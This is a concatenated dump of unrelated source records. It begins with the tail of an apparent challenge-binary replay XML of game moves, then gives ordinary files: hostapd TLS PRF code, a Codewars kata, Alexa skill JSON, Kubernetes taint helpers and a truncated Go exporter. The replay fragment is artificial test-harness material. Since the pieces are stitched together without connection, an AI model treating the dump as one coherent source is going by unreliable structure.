<read><delim>\\x3e</delim><match><pcre>.*?83 B ></pcre></match></read>\n <write><data>9 15\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?83 B ></pcre></match></read>\n <write><data>3 4\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?83 B ></pcre></match></read>\n <write><data>8 13\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?84 B ></pcre></match></read>\n <write><data>13 5\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?84 B ></pcre></match></read>\n <write><data>0 7\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?85 B ></pcre></match></read>\n <write><data>14 15\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?86 B ></pcre></match></read>\n <write><data>2 14\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?87 B ></pcre></match></read>\n <write><data>16 13\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?88 B ></pcre></match></read>\n <write><data>18 12\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?89 B ></pcre></match></read>\n <write><data>0 14\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?89 B ></pcre></match></read>\n <write><data>4 3\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?89 B ></pcre></match></read>\n <write><data>11 10\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?89 B ></pcre></match></read>\n <write><data>8 8\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?89 B ></pcre></match></read>\n <write><data>5 13\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?90 B ></pcre></match></read>\n <write><data>10 5\\x0a</data></write>\n <read><delim>User</delim><match><pcre>.*?Game Over Stones Exhausted\nYou are a Winner, User</pcre></match></read>\n</replay>\n</pov>\n"} {"text": "/*\n * TLS PRF P_SHA384\n * Copyright (c) 2011-2019, Jouni Malinen <j@w1.fi>\n *\n * This software may be distributed under the terms of the BSD license.\n * See README for more details.\n */\n\n#include \"utils/includes.h\"\n\n#include \"utils/common.h\"\n#include \"sha384.h\"\n\n\n/**\n * tls_prf_sha384 - Pseudo-Random Function for TLS v1.2 (P_SHA384, RFC 5246)\n * @secret: Key for PRF\n * @secret_len: Length of the key in bytes\n * @label: A unique label for each purpose of the PRF\n * @seed: Seed value to bind into the key\n * @seed_len: Length of the seed\n * @out: Buffer for the generated pseudo-random key\n * @outlen: Number of bytes of key to generate\n * Returns: 0 on success, -1 on failure.\n *\n * This function is used to derive new, cryptographically separate keys from a\n * given key in TLS. This PRF is defined in RFC 5246, Chapter 5.\n */\nint tls_prf_sha384(const u8 *secret, size_t secret_len, const char *label,\n\t\t const u8 *seed, size_t seed_len, u8 *out, size_t outlen)\n{\n\tsize_t clen;\n\tu8 A[SHA384_MAC_LEN];\n\tu8 P[SHA384_MAC_LEN];\n\tsize_t pos;\n\tconst unsigned char *addr[3];\n\tsize_t len[3];\n\n\taddr[0] = A;\n\tlen[0] = SHA384_MAC_LEN;\n\taddr[1] = (unsigned char *) label;\n\tlen[1] = os_strlen(label);\n\taddr[2] = seed;\n\tlen[2] = seed_len;\n\n\t/*\n\t * RFC 5246, Chapter 5\n\t * A(0) = seed, A(i) = HMAC(secret, A(i-1))\n\t * P_hash = HMAC(secret, A(1) + seed) + HMAC(secret, A(2) + seed) + ..\n\t * PRF(secret, label, seed) = P_SHA384(secret, label + seed)\n\t */\n\n\tif (hmac_sha384_vector(secret, secret_len, 2, &addr[1], &len[1], A) < 0)\n\t\treturn -1;\n\n\tpos = 0;\n\twhile (pos < outlen) {\n\t\tif (hmac_sha384_vector(secret, secret_len, 3, addr, len, P) <\n\t\t 0 ||\n\t\t hmac_sha384(secret, secret_len, A, SHA384_MAC_LEN, A) < 0)\n\t\t\treturn -1;\n\n\t\tclen = outlen - pos;\n\t\tif (clen > SHA384_MAC_LEN)\n\t\t\tclen = SHA384_MAC_LEN;\n\t\tos_memcpy(out + pos, P, clen);\n\t\tpos += clen;\n\t}\n\n\treturn 0;\n}\n"} {"text": "/*\n Title:\n Welcome!\n\n Description:\n Your start-up's BA has told marketing that your website has a large audience in Scandinavia and surrounding countries.\n Marketing thinks it would be great to welcome visitors to the site in their own language.\n Luckily you already use an API that detects the user's location, so this is an easy win.\n\n The Task\n Think of a way to store the languages as a database (eg an object).\n The languages are listed below so you can copy and paste!\n Write a 'welcome' function that takes a parameter 'language' (always a string),\n and returns a greeting - if you have it in your database.\n It should default to English if the language is not in the database, or in the event of an invalid input.\n\n The Database\n english: 'Welcome',\n czech: 'Vitejte',\n danish: 'Velkomst',\n dutch: 'Welkom',\n estonian: 'Tere tulemast',\n finnish: 'Tervetuloa',\n flemish: 'Welgekomen',\n french: 'Bienvenue',\n german: 'Willkommen',\n irish: 'Failte',\n italian: 'Benvenuto',\n latvian: 'Gaidits',\n lithuanian: 'Laukiamas',\n polish: 'Witamy',\n spanish: 'Bienvenido',\n swedish: 'Valkommen',\n welsh: 'Croeso'\n\n Possible invalid inputs include\n IP_ADDRESS_INVALID - not a valid ipv4 or ipv6 ip address\n IP_ADDRESS_NOT_FOUND - ip address not in the database\n IP_ADDRESS_REQUIRED - no ip address was supplied\n\n\n Kata Link:\n https://www.codewars.com/kata/welcome\n\n Discuss Link:\n https://www.codewars.com/kata/welcome/discuss\n\n Solutions Link:\n https://www.codewars.com/kata/welcome/solutions\n*/\n\n// Long Solution\nconst database = {\n english: 'Welcome',\n czech: 'Vitejte',\n danish: 'Velkomst',\n dutch: 'Welkom',\n estonian: 'Tere tulemast',\n finnish: 'Tervetuloa',\n flemish: 'Welgekomen',\n french: 'Bienvenue',\n german: 'Willkommen',\n irish: 'Failte',\n italian: 'Benvenuto',\n latvian: 'Gaidits',\n lithuanian: 'Laukiamas',\n polish: 'Witamy',\n spanish: 'Bienvenido',\n swedish: 'Valkommen',\n welsh: 'Croeso',\n}\n\nconst greet = language => database[language] || database.english\n\n// Function Export\nmodule.exports = greet\n"} {"text": "{\n \"accountLinkingWhitelistedDomains\": null,\n \"asin\": \"B01GTA4WMQ\",\n \"averageRating\": 4.5,\n \"canDisable\": true,\n \"capabilities\": null,\n \"category\": null,\n \"description\": \"Learn more about the origins of words with the Word Source skill.\\n\\nCurrently looking up words via the Online Etymology Dictionary (http://www.etymonline.com/) but look for more sources to be added soon.\\n\\nThe list of words to look up is currently at 7,949. Look for the number of words to be increased soon.\",\n \"enablement\": null,\n \"exampleInteractions\": [\n \"Alexa, ask Word Source about the word car\",\n \"Alexa, ask Word Source about the origin of the word colony\",\n \"Alexa, ask Word Source what is the etymology of plant\"\n ],\n \"firstReleaseDate\": 1468326462.295,\n \"homepageLinkText\": null,\n \"homepageLinkUrl\": null,\n \"id\": \"amzn1.echo-sdk-ams.app.9d12620e-b77d-4574-875a-1d4216238838\",\n \"imageAltText\": \"Word Source icon\",\n \"imageUrl\": \"https://github.com/dale3h/alexa-skills-list/raw/master/skills/B01GTA4WMQ/skill_icon\",\n \"inAppPurchasingSupported\": false,\n \"launchPhrase\": \"word source\",\n \"name\": \"Word Source\",\n \"numberOfReviews\": 2,\n \"pamsPartnerId\": null,\n \"permissions\": null,\n \"privacyPolicyUrl\": \"\",\n \"shortDescription\": \"Simply ask Alexa about any word to learn about its origins.\",\n \"skillTypes\": null,\n \"stage\": \"live\",\n \"termsOfUseUrl\": null,\n \"vendorId\": \"M3F0PRTWQHM55D\",\n \"vendorName\": \"Loom\"\n}\n"} {"text": "#include \"pugixml.hpp\"\n\n#include <iostream>\n\nconst char* node_types[] =\n{\n \"null\", \"document\", \"element\", \"pcdata\", \"cdata\", \"comment\", \"pi\", \"declaration\"\n};\n\n// tag::impl[]\nstruct simple_walker: pugi::xml_tree_walker\n{\n virtual bool for_each(pugi::xml_node& node)\n {\n for (int i = 0; i < depth(); ++i) std::cout << \" \"; // indentation\n\n std::cout << node_types[node.type()] << \": name='\" << node.name() << \"', value='\" << node.value() << \"'\\n\";\n\n return true; // continue traversal\n }\n};\n// end::impl[]\n\nint main()\n{\n pugi::xml_document doc;\n if (!doc.load_file(\"tree.xml\")) return -1;\n\n // tag::traverse[]\n simple_walker walker;\n doc.traverse(walker);\n // end::traverse[]\n}\n\n// vim:et\n"} {"text": "/*!\n * Ext JS Library 3.4.0\n * Copyright(c) 2006-2011 Sencha Inc.\n * licensing@sencha.com\n * http://www.sencha.com/license\n */\n.x-combo-list {\n border:2px solid #232732;\n background-color:#555566;\n font:normal 15px tahoma, arial, helvetica, sans-serif;\n}\n\n.x-combo-list-inner {\n background-color:#414551;\n}\n\n.x-combo-list-hd {\n font:bold 14px tahoma, arial, helvetica, sans-serif;\n color:#fff;\n background-image: url(../images/default/layout/panel-title-light-bg.gif);\n border-bottom-color:#98c0f4;\n}\n\n.x-resizable-pinned .x-combo-list-inner {\n border-bottom-color:#98c0f4;\n}\n\n.x-combo-list-item {\n border-color:#556;\n}\n\n.x-combo-list .x-combo-selected {\n\tborder-color:#e5872c !important;\n background-color:#e5872c;\n}\n\n.x-combo-list .x-toolbar {\n border-top-color:#98c0f4;\n}\n\n.x-combo-list-small {\n font:normal 14px tahoma, arial, helvetica, sans-serif;\n}\n"} {"text": "import { Server, Model, Serializer } from \"miragejs\";\n\ndescribe(\"External | Shared | Serializers | Base | Assorted Collections\", function () {\n let server;\n\n beforeEach(function () {\n server = new Server({\n models: {\n wordSmith: Model,\n greatPhoto: Model,\n },\n\n serializers: {\n application: Serializer,\n greatPhoto: Serializer.extend({\n attrs: [\"id\", \"title\"],\n }),\n },\n });\n });\n\n afterEach(function () {\n server.shutdown();\n });\n\n test(`an array of assorted collections can be serialized`, () => {\n let wordSmiths = [\n { id: \"1\", name: \"Link\" },\n { id: \"2\", name: \"Zelda\" },\n { id: \"3\", name: \"Epona\" },\n ];\n let greatPhotos = [\n { id: \"1\", title: \"Amazing\", location: \"Hyrule\" },\n { id: \"2\", title: \"greatPhoto\", location: \"Goron City\" },\n ];\n\n server.db.loadData({ wordSmiths, greatPhotos });\n\n let result = server.serializerOrRegistry.serialize([\n server.schema.wordSmiths.all(),\n server.schema.greatPhotos.all(),\n ]);\n\n expect(result).toEqual({\n wordSmiths: wordSmiths,\n greatPhotos: greatPhotos.map((attrs) => {\n delete attrs.location;\n return attrs;\n }),\n });\n });\n});\n"} {"text": "/*\n *\n * Copyright 2017 gRPC authors.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\n#ifndef GRPC_LOAD_REPORTING_H\n#define GRPC_LOAD_REPORTING_H\n\n#include <grpc/impl/codegen/port_platform.h>\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n/** Metadata key for the gRPC LB load balancer token.\n *\n * The value corresponding to this key is an opaque token that is given to the\n * frontend as part of each pick; the frontend sends this token to the backend\n * in each request it sends when using that pick. The token is used by the\n * backend to verify the request and to allow the backend to report load to the\n * gRPC LB system. */\n#define GRPC_LB_TOKEN_MD_KEY \"lb-token\"\n\n/** Metadata key for gRPC LB cost reporting.\n *\n * The value corresponding to this key is an opaque binary blob reported by the\n * backend as part of its trailing metadata containing cost information for the\n * call. */\n#define GRPC_LB_COST_MD_KEY \"lb-cost-bin\"\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif /* GRPC_LOAD_REPORTING_H */\n"} {"text": "//\n// SwiftSpec.swift\n// Archimedes\n//\n// Created by Justin Spahr-Summers on 2014-10-02.\n// Copyright (c) 2014 GitHub. All rights reserved.\n//\n\nimport Foundation\nimport Nimble\nimport Quick\n\n// Without this, the Swift stdlib won't be linked into the test target (even if\n// “Embedded Content Contains Swift Code” is enabled).\nclass SwiftSpec: QuickSpec {\n\toverride func spec() {\n\t\texpect(true).to(beTruthy())\n\t}\n}\n"} {"text": "//\n// MetalInterp.hpp\n// MNN\n//\n// Created by MNN on 2019/01/30.\n// Copyright © 2018, Alibaba Group Holding Limited\n//\n\n#ifndef MetalInterp_hpp\n#define MetalInterp_hpp\n\n#include \"core/Execution.hpp\"\n#include \"MetalDefine.h\"\n\n#if MNN_METAL_ENABLED\nnamespace MNN {\n\nclass MetalInterp : public Execution {\npublic:\n MetalInterp(Backend *backend, float widthScale, float heightScale, int32_t outputWidth, int32_t outputHeight,\n int32_t reiszeType, bool alignCorner);\n virtual ~MetalInterp() = default;\n virtual ErrorCode onExecute(const std::vector<Tensor *> &inputs, const std::vector<Tensor *> &outputs) override;\n\nprivate:\n float mWidthScale;\n float mHeightScale;\n int32_t mOutputWidth;\n int32_t mOutputHeight;\n int32_t mReiszeType;\n bool mAlignCorner;\n};\n\n} // namespace MNN\n#endif /* MNN_METAL_ENABLED */\n#endif /* MetalInterp_hpp */\n"} {"text": "<!--\n ~ RedGL - MIT License\n ~ Copyright (c) 2018 - 2019 By RedCamel(webseon@gmail.com)\n ~ https://github.com/redcamel/RedGL2/blob/dev/LICENSE\n ~ Last modification time of this file - 2019.7.8 15:8\n -->\n\n<!DOCTYPE html>\n<html lang=\"ko\">\n\n<head>\n <meta charset=\"UTF-8\">\n <meta name=\"keywords\" content=\"RedGL,webgl,demo\">\n <title>RedGL Example - RedLine</title>\n <meta name=\"apple-mobile-web-app-capable\" content=\"yes\"/>\n <meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black\"/>\n <meta name=\"viewport\"\n content=\"width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no, target-densitydpi=device-dpi\"\n />\n <link rel=\"stylesheet\" href=\"../example.css\">\n\n <script src=\"../dat.gui.min.js\"></script>\n <script src=\"../baseTestUI.js\"></script>\n <script src=\"../../release/RedGL.min.js\"></script>\n</head>\n\n<body>\n<script id='testSource'>\n\tvar testUI;\n\tvar canvas;\n\tvar assetPath = '../../asset/'\n\tcanvas = document.createElement('canvas');\n\tdocument.body.appendChild(canvas);\n\tRedGL(canvas, function (v) {\n\t\tif (v) {\n\t\t\tconsole.log('초기화 성공!');\n\t\t\tvar tWorld, tView, tScene, tController, tRenderer;\n\t\t\tvar setBase = function (redGL) {\n\t\t\t\t// 월드 생성\n\t\t\t\tredGL['world'] = tWorld = RedWorld();\n\t\t\t\t// 씬 생성\n\t\t\t\ttScene = RedScene(redGL);\n\t\t\t\t// 카메라 생성\n\t\t\t\ttController = RedObitController(redGL);\n\t\t\t\ttController.pan = 45;\n\t\t\t\ttController.tilt = -45;\n\t\t\t\ttController.distance = 20;\n\t\t\t\t// 렌더러 생성\n\t\t\t\ttRenderer = RedRenderer();\n\t\t\t\t// 뷰생성 및 적용\n\t\t\t\ttView = RedView(redGL, tScene, tController);\n\t\t\t\ttWorld.addView(tView);\n\t\t\t\t// 그리드 설정\n\t\t\t\ttScene['grid'] = RedGrid(redGL);\n\t\t\t\t// 렌더시작\n\t\t\t\ttRenderer.start(redGL, function (time) {\n\t\t\t\t});\n\t\t\t\t// 렌더 디버거 활성화\n\t\t\t\ttRenderer.setDebugButton();\n\n\t\t\t};\n\t\t\tsetBase(this);\n\t\t\t// tLine 생성 함수 정의\n\t\t\tvar addLine_random, addLine_circle;\n\t\t\t// 60번 포인트를 랜덤으로 정의하고 라인추가\n\t\t\taddLine_random = function (redGL) {\n\t\t\t\tvar tLine;\n\t\t\t\tvar tX, tY, tZ;\n\t\t\t\tvar i = 60;\n\t\t\t\t// 라인객체 생성\n\t\t\t\ttLine = RedLine(redGL, RedColorMaterial(redGL));\n\t\t\t\ttScene.addChild(tLine);\n\t\t\t\ttX = tY = tZ = 0\n\t\t\t\twhile (i--) {\n\t\t\t\t\ttX += Math.random() - 0.5;\n\t\t\t\t\ttY += Math.random() - 0.5;\n\t\t\t\t\ttZ += Math.random() - 0.5;\n\t\t\t\t\t// 라인에 포인트 추가\n\t\t\t\t\ttLine.addPoint(tX, tY, tZ);\n\t\t\t\t}\n\t\t\t};\n\t\t\t// 60번 포인트로 원을 정의하는 함수\n\t\t\taddLine_circle = function (redGL, drawMode) {\n\t\t\t\tvar tLine;\n\t\t\t\tvar tX, tY, tZ;\n\t\t\t\tvar startRadian;\n\t\t\t\tvar i = 60\n\t\t\t\ttLine = RedLine(redGL, RedColorMaterial(redGL, drawMode == redGL.gl.LINES ? '#ff00ff' : '#00ff00'))\n\t\t\t\ttScene.addChild(tLine)\n\t\t\t\ttX = tY = tZ = 0;\n\t\t\t\tstartRadian = Math.random() * Math.PI * 2;\n\t\t\t\twhile (i--) {\n\t\t\t\t\ttX += Math.sin(i / 60 * Math.PI * 2 + startRadian);\n\t\t\t\t\ttY += Math.cos(i / 60 * Math.PI * 2 + startRadian);\n\t\t\t\t\ttZ += Math.sin(i / 60 * Math.PI * 2 + startRadian);\n\t\t\t\t\t// 라인에 포인트 추가\n\t\t\t\t\ttLine.addPoint(tX, tY, tZ);\n\t\t\t\t}\n\t\t\t\ttLine.rotationX = tLine.rotationY = tLine.rotationZ = Math.random() * 360;\n\t\t\t\ttLine.drawMode = drawMode\n\t\t\t};\n\t\t\taddLine_random(this);\n\t\t\taddLine_circle(this, this.gl.LINES);\n\t\t\t// Test UI\n\t\t\ttestUI(this, tView, addLine_random, addLine_circle)\n\t\t} else {\n\t\t\tconsole.log('초기화 실패!');\n\t\t}\n\t});\n\ttestUI = function (redGL, view1, addLine_random, addLine_circle) {\n\t\tvar gui = new baseTestUI(redGL);\n\t\tgui.initCamera(view1['camera']);\n\t\tgui.initScene(view1['scene']);\n\t\tvar t0 = gui['gui'].addFolder('Line Test');\n\t\tvar test = {\n\t\t\taddLine_random: function () {\n\t\t\t\taddLine_random(redGL, redGL.gl.LINES);\n\t\t\t},\n\t\t\taddLine_circle1: function () {\n\t\t\t\taddLine_circle(redGL, redGL.gl.LINES);\n\t\t\t},\n\t\t\taddLine_circle2: function () {\n\t\t\t\taddLine_circle(redGL, redGL.gl.LINE_LOOP);\n\t\t\t}\n\t\t};\n\t\tt0.open();\n\t\tt0.add(test, 'addLine_random').name('addLine_random');\n\t\tt0.add(test, 'addLine_circle1').name('addLine_circle(redGL.gl.LINES)');\n\t\tt0.add(test, 'addLine_circle2').name('addLine_circle(redGL.gl.LINE_LOOP)');\n\t}\n</script>\n</body>\n\n</html>"} {"text": "/*\nCopyright 2019 The Kubernetes Authors.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\n/*\n\nNOTE: the contents of this file has been copied from k8s.io/kubernetes/pkg/controller\nand k8s.io/kubernetes/pkg/util/taints. The reason for duplicating this code is to remove\ndependencies to k8s.io/kubernetes in all the cloud providers. Once k8s.io/kubernetes/pkg/util/taints\nis moved to an external repository, this file should be removed and replaced with that one.\n*/\n\npackage helpers\n\nimport (\n\t\"context\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"time\"\n\n\t\"k8s.io/api/core/v1\"\n\t\"k8s.io/apimachinery/pkg/api/equality\"\n\tmetav1 \"k8s.io/apimachinery/pkg/apis/meta/v1\"\n\t\"k8s.io/apimachinery/pkg/types\"\n\t\"k8s.io/apimachinery/pkg/util/strategicpatch\"\n\t\"k8s.io/apimachinery/pkg/util/wait\"\n\tclientset \"k8s.io/client-go/kubernetes\"\n\tclientretry \"k8s.io/client-go/util/retry\"\n)\n\nvar updateTaintBackoff = wait.Backoff{\n\tSteps: 5,\n\tDuration: 100 * time.Millisecond,\n\tJitter: 1.0,\n}\n\n// AddOrUpdateTaintOnNode add taints to the node. If taint was added into node, it'll issue API calls\n// to update nodes; otherwise, no API calls. Return error if any.\nfunc AddOrUpdateTaintOnNode(c clientset.Interface, nodeName string, taints ...*v1.Taint) error {\n\tif len(taints) == 0 {\n\t\treturn nil\n\t}\n\tfirstTry := true\n\treturn clientretry.RetryOnConflict(updateTaintBackoff, func() error {\n\t\tvar err error\n\t\tvar oldNode *v1.Node\n\t\t// First we try getting node from the API server cache, as it's cheaper. If it fails\n\t\t// we get it from etcd to be sure to have fresh data.\n\t\tif firstTry {\n\t\t\toldNode, err = c.CoreV1().Nodes().Get(context.TODO(), nodeName, metav1.GetOptions{ResourceVersion: \"0\"})\n\t\t\tfirstTry = false\n\t\t} else {\n\t\t\toldNode, err = c.CoreV1().Nodes().Get(context.TODO(), nodeName, metav1.GetOptions{})\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tvar newNode *v1.Node\n\t\toldNodeCopy := oldNode\n\t\tupdated := false\n\t\tfor _, taint := range taints {\n\t\t\tcurNewNode, ok, err := addOrUpdateTaint(oldNodeCopy, taint)\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"failed to update taint of node\")\n\t\t\t}\n\t\t\tupdated = updated || ok\n\t\t\tnewNode = curNewNode\n\t\t\toldNodeCopy = curNewNode\n\t\t}\n\t\tif !updated {\n\t\t\treturn nil\n\t\t}\n\t\treturn PatchNodeTaints(c, nodeName, oldNode, newNode)\n\t})\n}\n\n// PatchNodeTaints patches node's taints.\nfunc PatchNodeTaints(c clientset.Interface, nodeName string, oldNode *v1.Node, newNode *v1.Node) error {\n\toldData, err := json.Marshal(oldNode)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to marshal old node %#v for node %q: %v\", oldNode, nodeName, err)\n\t}\n\n\tnewTaints := newNode.Spec.Taints\n\tnewNodeClone := oldNode.DeepCopy()\n\tnewNodeClone.Spec.Taints = newTaints\n\tnewData, err := json.Marshal(newNodeClone)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to marshal new node %#v for node %q: %v\", newNodeClone, nodeName, err)\n\t}\n\n\tpatchBytes, err := strategicpatch.CreateTwoWayMergePatch(oldData, newData, v1.Node{})\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to create patch for node %q: %v\", nodeName, err)\n\t}\n\n\t_, err = c.CoreV1().Nodes().Patch(context.TODO(), nodeName, types.StrategicMergePatchType, patchBytes, metav1.PatchOptions{})\n\treturn err\n}\n\n// addOrUpdateTaint tries to add a taint to annotations list. Returns a new copy of updated Node and true if something was updated\n// false otherwise.\nfunc addOrUpdateTaint(node *v1.Node, taint *v1.Taint) (*v1.Node, bool, error) {\n\tnewNode := node.DeepCopy()\n\tnodeTaints := newNode.Spec.Taints\n\n\tvar newTaints []v1.Taint\n\tupdated := false\n\tfor i := range nodeTaints {\n\t\tif taint.MatchTaint(&nodeTaints[i]) {\n\t\t\tif equality.Semantic.DeepEqual(*taint, nodeTaints[i]) {\n\t\t\t\treturn newNode, false, nil\n\t\t\t}\n\t\t\tnewTaints = append(newTaints, *taint)\n\t\t\tupdated = true\n\t\t\tcontinue\n\t\t}\n\n\t\tnewTaints = append(newTaints, nodeTaints[i])\n\t}\n\n\tif !updated {\n\t\tnewTaints = append(newTaints, *taint)\n\t}\n\n\tnewNode.Spec.Taints = newTaints\n\treturn newNode, true, nil\n}\n\n// RemoveTaintOffNode is for cleaning up taints temporarily added to node,\n// won't fail if target taint doesn't exist or has been removed.\n// If passed a node it'll check if there's anything to be done, if taint is not present it won't issue\n// any API calls.\nfunc RemoveTaintOffNode(c clientset.Interface, nodeName string, node *v1.Node, taints ...*v1.Taint) error {\n\tif len(taints) == 0 {\n\t\treturn nil\n\t}\n\t// Short circuit for limiting amount of API calls.\n\tif node != nil {\n\t\tmatch := false\n\t\tfor _, taint := range taints {\n\t\t\tif taintExists(node.Spec.Taints, taint) {\n\t\t\t\tmatch = true\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t\tif !match {\n\t\t\treturn nil\n\t\t}\n\t}\n\n\tfirstTry := true\n\treturn clientretry.RetryOnConflict(updateTaintBackoff, func() error {\n\t\tvar err error\n\t\tvar oldNode *v1.Node\n\t\t// First we try getting node from the API server cache, as it's cheaper. If it fails\n\t\t// we get it from etcd to be sure to have fresh data.\n\t\tif firstTry {\n\t\t\toldNode, err = c.CoreV1().Nodes().Get(context.TODO(), nodeName, metav1.GetOptions{ResourceVersion: \"0\"})\n\t\t\tfirstTry = false\n\t\t} else {\n\t\t\toldNode, err = c.CoreV1().Nodes().Get(context.TODO(), nodeName, metav1.GetOptions{})\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tvar newNode *v1.Node\n\t\toldNodeCopy := oldNode\n\t\tupdated := false\n\t\tfor _, taint := range taints {\n\t\t\tcurNewNode, ok, err := removeTaint(oldNodeCopy, taint)\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"failed to remove taint of node\")\n\t\t\t}\n\t\t\tupdated = updated || ok\n\t\t\tnewNode = curNewNode\n\t\t\toldNodeCopy = curNewNode\n\t\t}\n\t\tif !updated {\n\t\t\treturn nil\n\t\t}\n\t\treturn PatchNodeTaints(c, nodeName, oldNode, newNode)\n\t})\n}\n\n// taintExists checks if the given taint exists in list of taints. Returns true if exists false otherwise.\nfunc taintExists(taints []v1.Taint, taintToFind *v1.Taint) bool {\n\tfor _, taint := range taints {\n\t\tif taint.MatchTaint(taintToFind) {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n\n// removeTaint tries to remove a taint from annotations list. Returns a new copy of updated Node and true if something was updated\n// false otherwise.\nfunc removeTaint(node *v1.Node, taint *v1.Taint) (*v1.Node, bool, error) {\n\tnewNode := node.DeepCopy()\n\tnodeTaints := newNode.Spec.Taints\n\tif len(nodeTaints) == 0 {\n\t\treturn newNode, false, nil\n\t}\n\n\tif !taintExists(nodeTaints, taint) {\n\t\treturn newNode, false, nil\n\t}\n\n\tnewTaints, _ := deleteTaint(nodeTaints, taint)\n\tnewNode.Spec.Taints = newTaints\n\treturn newNode, true, nil\n}\n\n// deleteTaint removes all the taints that have the same key and effect to given taintToDelete.\nfunc deleteTaint(taints []v1.Taint, taintToDelete *v1.Taint) ([]v1.Taint, bool) {\n\tnewTaints := []v1.Taint{}\n\tdeleted := false\n\tfor i := range taints {\n\t\tif taintToDelete.MatchTaint(&taints[i]) {\n\t\t\tdeleted = true\n\t\t\tcontinue\n\t\t}\n\t\tnewTaints = append(newTaints, taints[i])\n\t}\n\treturn newTaints, deleted\n}\n"} {"text": "// Copyright 2019 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license that can be found in the LICENSE file.\n\n// Indexed binary package export.\n// This file was derived from $GOROOT/src/cmd/compile/internal/gc/iexport.go;\n// see that file for specification of the format.\n\npackage gcimporter\n\nimport (\n\t\"bytes\"\n\t\"encoding/binary\"\n\t\"go/ast\"\n\t\"go/constant\"\n\t\"go/token\"\n\t\"go/types\"\n\t\"io\"\n\t\"math/big\"\n\t\"reflect\"\n\t\"sort\"\n)\n\n// Current indexed export format version. Increase with each format change.\n// 0: Go1.11 encoding\nconst iexportVersion = 0\n\n// IExportData returns the binary export data for pkg.\n//\n// If no file set is provided, position info will be missing.\n// The package path of the top-level package will not be recorded,\n// so that calls to IImportData can override with a provided package path.\nfunc IExportData(fset *token.FileSet, pkg *types.Package) (b []byte, err error) {\n\tdefer func() {\n\t\tif e := recover(); e != nil {\n\t\t\tif ierr, ok := e.(internalError); ok {\n\t\t\t\terr = ierr\n\t\t\t\treturn\n\t\t\t}\n\t\t\t// Not an internal error; panic again.\n\t\t\tpanic(e)\n\t\t}\n\t}()\n\n\tp := iexporter{\n\t\tout: bytes.NewBuffer(nil),\n\t\tfset: fset,\n\t\tallPkgs: map[*types.Package]bool{},\n\t\tstringIndex: map[string]uint64{},\n\t\tdeclIndex: map[types.Object]uint64{},\n\t\ttypIndex: map[types.Type]uint64{},\n\t\tlocalpkg: pkg,\n\t}\n\n\tfor i, pt := range predeclared() {\n\t\tp.typIndex[pt] = uint64(i)\n\t}\n\tif len(p.typIndex) > predeclReserved {\n\t\tpanic(internalErrorf(\"too many predeclared types: %d > %d\", len(p.typIndex), predeclReserved))\n\t}\n\n\t// Initialize work queue with exported declarations.\n\tscope := pkg.Scope()\n\tfor _, name := range scope.Names() {\n\t\tif ast.IsExported(name) {\n\t\t\tp.pushDecl(scope.Lookup(name))\n\t\t}\n\t}\n\n\t// Loop until no more work.\n\tfor !p.declTodo.empty() {\n\t\tp.doDecl(p.declTodo.popHead())\n\t}\n\n\t// Append indices to data0 section.\n\tdataLen := uint64(p.data0.Len())\n\tw := p.newWriter()\n\tw.writeIndex(p.declIndex)\n\tw.flush()\n\n\t// Assemble header.\n\tvar hdr intWriter\n\thdr.WriteByte('i')\n\thdr.uint64(iexportVersion)\n\thdr.uint64(uint64(p.strings.Len()))\n\thdr.uint64(dataLen)\n\n\t// Flush output.\n\tio.Copy(p.out, &hdr)\n\tio.Copy(p.out, &p.strings)\n\tio.Copy(p.out, &p.data0)\n\n\treturn p.out.Bytes(), nil\n}\n\n// writeIndex writes out an object index. mainIndex indicates whether\n// we're writing out the main index, which is also read by\n// non-compiler tools and includes a complete package description\n// (i.e., name and height).\nfunc (w *exportWriter) writeIndex(index map[types.Object]uint64) {\n\t// Build a map from packages to objects from that package.\n\tpkgObjs := map[*types.Package][]types.Object{}\n\n\t// For the main index, make sure to include every package that\n\t// we reference, even if we're not exporting (or reexporting)\n\t// any symbols from 